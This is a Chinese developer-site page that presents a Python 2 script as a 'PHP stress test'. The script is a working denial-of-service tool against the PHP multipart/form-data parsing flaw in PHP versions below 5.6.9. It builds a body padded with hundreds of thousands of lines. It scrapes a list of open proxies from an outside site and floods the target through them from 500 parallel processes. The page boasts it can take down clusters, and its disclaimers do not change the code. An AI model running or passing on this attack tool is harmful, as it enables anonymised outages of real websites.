下载鸥 > 网站下载 > 开发教程 > PHP

PHP压力测试脚本

1285 2021-02-04 11:38:14

收藏

简述

注意:此压力测试脚本造成的任何后果由使用者自行承担

PHP压力测试脚本,10M/S带宽秒杀集群Google 现查的,利用 PHP Multipart / form-data远程dos漏洞。
 

适用 PHP 版本
PHP 5.6.9 以下版本
PHP 5.5.25 以下版本
PHP 5.4.41 以下版本
PHP 5.3 及所有以前的版本

 

使用方法

将以下内容保存成 .py 文件,执行 python xxx.py -t "http://PHP页面网址" 请勿输入其他人的网站。
 

注意:此工具造成的任何后果由使用者自行承担

去掉此段注释以运行脚本,Remove this comment to run script

import sys
import urllib,urllib2
import datetime
import re
import os
import threading
import time
import random   
from optparse import OptionParser
from multiprocessing import Pool
 
def check_php_multipartform_dos(url,post_body,headers,ip):
    proxy_handler = urllib2.ProxyHandler({"http" : ip})
    null_proxy_handler = urllib2.ProxyHandler({})
    opener = urllib2.build_opener(proxy_handler)
    urllib2.install_opener(opener)
    req = urllib2.Request(url)
    for key in headers.keys():
        req.add_header(key,headers[key])
    starttime = datetime.datetime.now();
    fd = urllib2.urlopen(req,post_body)
    html = fd.read()
    endtime = datetime.datetime.now()
    usetime=(endtime - starttime).seconds
    if(usetime > 5):
        result = url+" is vulnerable";
    else:
        if(usetime > 3):
            result = "need to check normal respond time"
    return [result,usetime]
#end
 
def get_stock_html(URL):
        opener = urllib2.build_opener(
                urllib2.HTTPRedirectHandler(),
                urllib2.HTTPHandler(debuglevel=0),
                )
        opener.addheaders = [
                ('User-agent',
                 'Mozilla/4.0 (compatible;MSIE 7.0;'
                 'Windows NT 5.1; .NET CLR 2.0.50727;'
                 '.NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
                 ]
        url = "http://proxy.com.ru/%s"%URL
        response = opener.open(url)
        return ''.join(response.readlines())
 
def Getting_Url():
        global CC_Url
        file = open('url','r')
        CC_Url = file.readlines()
        file.close()
 
def Getting_list():
        global IP_Port
        IP_Port = []
        for html_list in re.findall('list_d+.html',get_stock_html("list_1.html")):
                print "getting %s's IP:PORT"%html_list
                IP_Port += eval(re.sub('</td><td>',':',"%s"%re.findall('d+.d+.d+.d+</td><td>d+',get_stock_html(html_list))))
 
def main():
    parser = OptionParser()
    parser.add_option("-t", "--target", action="store", 
                  dest="target", 
                  default=False, 
          type="string",
                  help="test target")
    (options, args) = parser.parse_args()
    target = options.target
 
    Num=350000
    headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1',
            'Accept-Encoding':'gzip, deflate',
            'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36'}
    body = "------WebKitFormBoundaryX3B7rDMPcQlzmJE1nContent-Disposition: form-data; name="file"; filename=sp.jpg"
    payload=""
    for i in range(0,Num):
        payload = payload + "an"
    body = body + payload;
    body = body + "Content-Type: application/octet-streamrnrndatadatarn------WebKitFormBoundaryX3B7rDMPcQlzmJE1--"
    print "starting...";
    Getting_list()
    pool = Pool(500)
    for ip in IP_Port:
        pool.apply_async(check_php_multipartform_dos, [target,body,headers,ip])
    pool.close()
    pool.join()
 
if __name__=="__main__":
    main()

本文地址:https://xzo.com.cn/develop/php/550.html

有帮助,很赞!

信息来源:精准像素
信息标签
导出教程 下载word版教程
发表评论 共有条评论
关于PHP

PHP是一种服务器端、跨平台、html嵌入式的脚本语言,其功能十分强大、入门简单。在过去,民间一直有说法称“PHP是最好的编程语言”,是PHP开发者对自身所使用语言的肯定。

PHP曾是最主流的网站web开发语言之一,现在也依然十分流行。

推荐PHP开发教程
PHP正则提取字符串中的数字组成数组
PHP正则提取字符串中的数字组成数组

在实际操作过程中,我们可能需要通过PHP正则提取字符串中的数字,并组成数组。...

13 1251
php怎样开发一个访问密码的界面防止资源被爬取?
php怎样开发一个访问密码的界面防止资源被爬取?

互联网上每天都有很多爬虫到处爬取内容,你可能不知道他们是干嘛的,但其中肯定...

1 290
php简单的数组介绍与应用
php简单的数组介绍与应用

数组在实际开发过程中运用非常频繁,通过合理运用数组,我们可以顺利实现各种数...

1 248
怎样在每次发起请求时重置session_id?
怎样在每次发起请求时重置session_id?

在一些开发场景中,我们需要在每次发起请求后更新重置session_id以同步用户数...

3 288
php怎样开启debug调试模式?
php怎样开启debug调试模式?

我们使用php开发网站的时候,经常会需要调试确保功能正常。而如果功能出现异...

0 493
什么是高并发,与CPU,内存,分布式有什么关系
什么是高并发,与CPU,内存,分布式有什么关系

我们在网站开发的过程中经常会接触到高并发这个概念,但高并发到底是什么,具体...

1 259
php正则提取字符串中的数字并打印输出
php正则提取字符串中的数字并打印输出

我们在网站开发的过程中经常需要处理数据,今天讲讲怎样用正则提取字符串中的...

0 295
简单的php高并发处理方案分享
简单的php高并发处理方案分享

很多互联网公司对并发要求比较高,如果完全依赖服务器性能的提升,则可能会面临...

0 283
随机PHP开发教程
PHP怎样设置访问密码?
PHP怎样设置访问密码?

PHP为页面设置访问密码,加密访问,不分程序,只要支持PHP就可以使用这段代码。...

3 234
PHP怎样做外链转站内跳转?
PHP怎样做外链转站内跳转?

PHP过度跳转页面代码步骤:​​​​​​​新建个go.php文件 将下方的代码,复制...

9 350
PHP获取访问用户信息API接口源码
PHP获取访问用户信息API接口源码

PHP获取访问用户信息API接口源码,利用的淘宝接口,可以返回服务器信息,返回结构...

8 300
PHP获取访客IP和位置API接口代码
PHP获取访客IP和位置API接口代码

PHP获取访客IP和位置API接口代码,可以获取用户非常详细的地址信息,精确到国、...

3 1038
PHP自动Get监控网站是否在线
PHP自动Get监控网站是否在线

PHP自动Get监控网站是否在线,创建个PHP文件放到你的网站根目录里面,访问后不...

7 1015
PHP超简单的随机图片头像API接口代码
PHP超简单的随机图片头像API接口代码

去网上找了些随机图片API接口网站,发现接口有点慢,就想着自己搭建个随机图片...

12 1234
php网易云热评api接口源码(附网易云音乐下载直链)
php网易云热评api接口源码(附网易云音乐下载直链)

php网易云热评ap接口源码,实时抓取网易云音乐热门评论,随机热评。文末附带网...

10 339
php统计在线人数和IP代码
php统计在线人数和IP代码

统计网站访问IP以及在线的人数,推荐使用成熟的统计程序来完成,下面这篇适合局...

3 1363
客服QQ:341553759
点击咨询 常见问题 >
官方交流群:90432500
点击加入